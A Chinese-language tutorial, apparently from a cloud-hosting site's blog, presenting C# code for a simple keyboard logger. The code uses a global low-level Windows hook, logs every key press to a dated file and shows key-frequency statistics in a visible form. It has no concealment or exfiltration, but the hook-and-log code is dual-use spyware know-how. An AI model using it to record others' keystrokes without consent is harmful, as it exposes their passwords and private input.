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本篇內容主要講解“基于C#如何實現簡易的鍵盤記錄器”，感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷，實用性強。下面就讓小編來帶大家學習“基于C#如何實現簡易的鍵盤記錄器”吧!
開發工具： Visual Studio 2013
.NET Framework版本：4.5
public class HookUtil
{
#region windows api
/// <summary>
/// 安裝鉤子
/// </summary>
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern int SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hInstance, int threadId);
public delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam);
/// <summary>
/// 繼續下一個鉤子
/// </summary>
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern int CallNextHookEx(int idHook, int nCode, Int32 wParam, IntPtr lParam);
/// <summary>
/// 卸載鉤子
/// </summary>
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern bool UnhookWindowsHookEx(int idHook);
/// <summary>
///獲取當前線程編號（線程鉤子需要用到）
[DllImport("kernel32.dll")]
static extern int GetCurrentThreadId();
/// <summary>
/// 獲取當前實例的函數
/// </summary>
[DllImport("kernel32.dll")]
public static extern IntPtr GetModuleHandle(string name);
/// <summary>
/// 獲取按鍵的狀態
/// </summary>
/// <param name="pbKeyState"></param>
/// <returns></returns>
[DllImport("user32")]
public static extern int GetKeyboardState(byte[] pbKeyState);
/// <summary>
/// 將指定的虛擬鍵碼和鍵盤狀態翻譯為相應的字符或字符串
/// </summary>
[DllImport("user32")]
public static extern int ToAscii(int uVirtKey, int uScanCode, byte[] lpbKeyState,byte[] lpwTransKey,int fuState);
#endregion
/// <summary>
/// 鍵盤結構
/// </summary>
[StructLayout(LayoutKind.Sequential)]
public class KeyboardHookStruct
{
public int vkCode; //定一個虛擬鍵碼。該代碼必須有一個價值的范圍1至254
public int scanCode; // 指定的硬件掃描碼的關鍵
public int flags; // 鍵標志
public int time; // 指定的時間戳記的這個訊息
public int dwExtraInfo; // 指定額外信息相關的信息
}
//定義為鍵盤鉤子
public int WH_KEYBOARD_LL = 13;
//相關鍵盤事件
public event KeyEventHandler KeyDownEvent;
public event KeyPressEventHandler KeyPressEvent;
public event KeyEventHandler KeyUpEvent;
//相關動作
private const int WM_KEYDOWN = 0x100;//KEYDOWN
private const int WM_KEYUP = 0x101;//KEYUP
private const int WM_SYSKEYDOWN = 0x104;//SYSKEYDOWN
private const int WM_SYSKEYUP = 0x105;//SYSKEYUP
//hookid
private int hookID = 0;
//向下傳遞數據
public Keys NoNextKeyCode;
/// <summary>
/// 安裝鉤子
/// </summary>
public void StartHook()
{
if (hookID == 0)
{
HookProc hookProc = new HookProc(KeyboardHookProc);
hookID = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, GetModuleHandle(System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName), 0);
if (hookID == 0)
{
StopHook();
throw new Exception("安裝鍵盤鉤子失敗");
}
}
}
public void StopHook()
{
bool isStop = true;
if (hookID != 0)
{
isStop = UnhookWindowsHookEx(hookID);
hookID = 0;
}
if (!isStop) throw new Exception("卸載鍵盤鉤子失敗！");
}
/// <summary>
/// 監聽事件
/// </summary>
private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam)
{
if ((nCode >= 0) && (KeyDownEvent != null || KeyUpEvent != null || KeyPressEvent != null))
{
KeyboardHookStruct MyKeyboardHookStruct = (KeyboardHookStruct)Marshal.PtrToStructure(lParam, typeof(KeyboardHookStruct));
//按下處理
if (KeyDownEvent != null && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN))
{
Keys keyData = (Keys)MyKeyboardHookStruct.vkCode;
KeyEventArgs e = new KeyEventArgs(keyData);
KeyDownEvent(this, e);
//阻止向下傳遞
if (NoNextKeyCode == keyData)
{
return hookID;
}
}
//按下并抬起處理
if (KeyPressEvent != null && wParam == WM_KEYDOWN)
{
byte[] keyState = new byte[256];
GetKeyboardState(keyState);
byte[] inBuffer = new byte[2];
if (ToAscii(MyKeyboardHookStruct.vkCode, MyKeyboardHookStruct.scanCode, keyState, inBuffer, MyKeyboardHookStruct.flags) == 1)
{
KeyPressEventArgs e = new KeyPressEventArgs((char)inBuffer[0]);
KeyPressEvent(this, e);
}
}
// 抬起處理
if (KeyUpEvent != null && (wParam == WM_KEYUP || wParam == WM_SYSKEYUP))
{
Keys keyData = (Keys)MyKeyboardHookStruct.vkCode;
KeyEventArgs e = new KeyEventArgs(keyData);
KeyUpEvent(this, e);
}
}
return CallNextHookEx(hookID, nCode, wParam, lParam);
}
~HookUtil()
{
StopHook();
}
} HookUtil keyHook = new HookUtil();
private void btnBegin_Click(object sender, EventArgs e)
{
keyHook.KeyDownEvent += new KeyEventHandler(hook_KeyDown);//鉤住按下事件
keyHook.StartHook();
btnBegin.Enabled = false;
btnEnd.Enabled = true;
}
private void btnEnd_Click(object sender, EventArgs e)
{
keyHook.StopHook();
btnBegin.Enabled = true;
btnEnd.Enabled = false;
}
private void btnInfo_Click(object sender, EventArgs e)
{
string path = System.AppDomain.CurrentDomain.BaseDirectory + "log\\" + DateTime.Now.ToString("yyyy-MM-dd") + ".txt";
if (!File.Exists(path))
{
MessageBox.Show("還未監聽到數據，請操作后再查看");
return;
}
var list = File.ReadAllLines(path).ToList().GroupBy(s => s).Select(s => new { s.Key, s.ToList().Count }).OrderByDescending(s => s.Count);
FrmInfo frm = new FrmInfo();
frm.Show();
foreach (var item in list)
{
frm.addItems(new string[] { "", item.Key, item.Count + "" });
}
}
private void hook_KeyDown(object sender, KeyEventArgs e)
{
if (!listKey.Contains(e.KeyData))
{
if (Control.ModifierKeys != Keys.None)
{
WriteLog(Control.ModifierKeys + "+" + e.KeyData);
}
else
{
WriteLog(e.KeyData + "");
}
}
else
{
WriteLog(e.KeyData + "");
}
}
到此，相信大家對“基于C#如何實現簡易的鍵盤記錄器”有了更深的了解，不妨來實際操作一番吧！這里是億速云網站，更多相關內容可以進入相關頻道進行查詢，關注我們，繼續學習！
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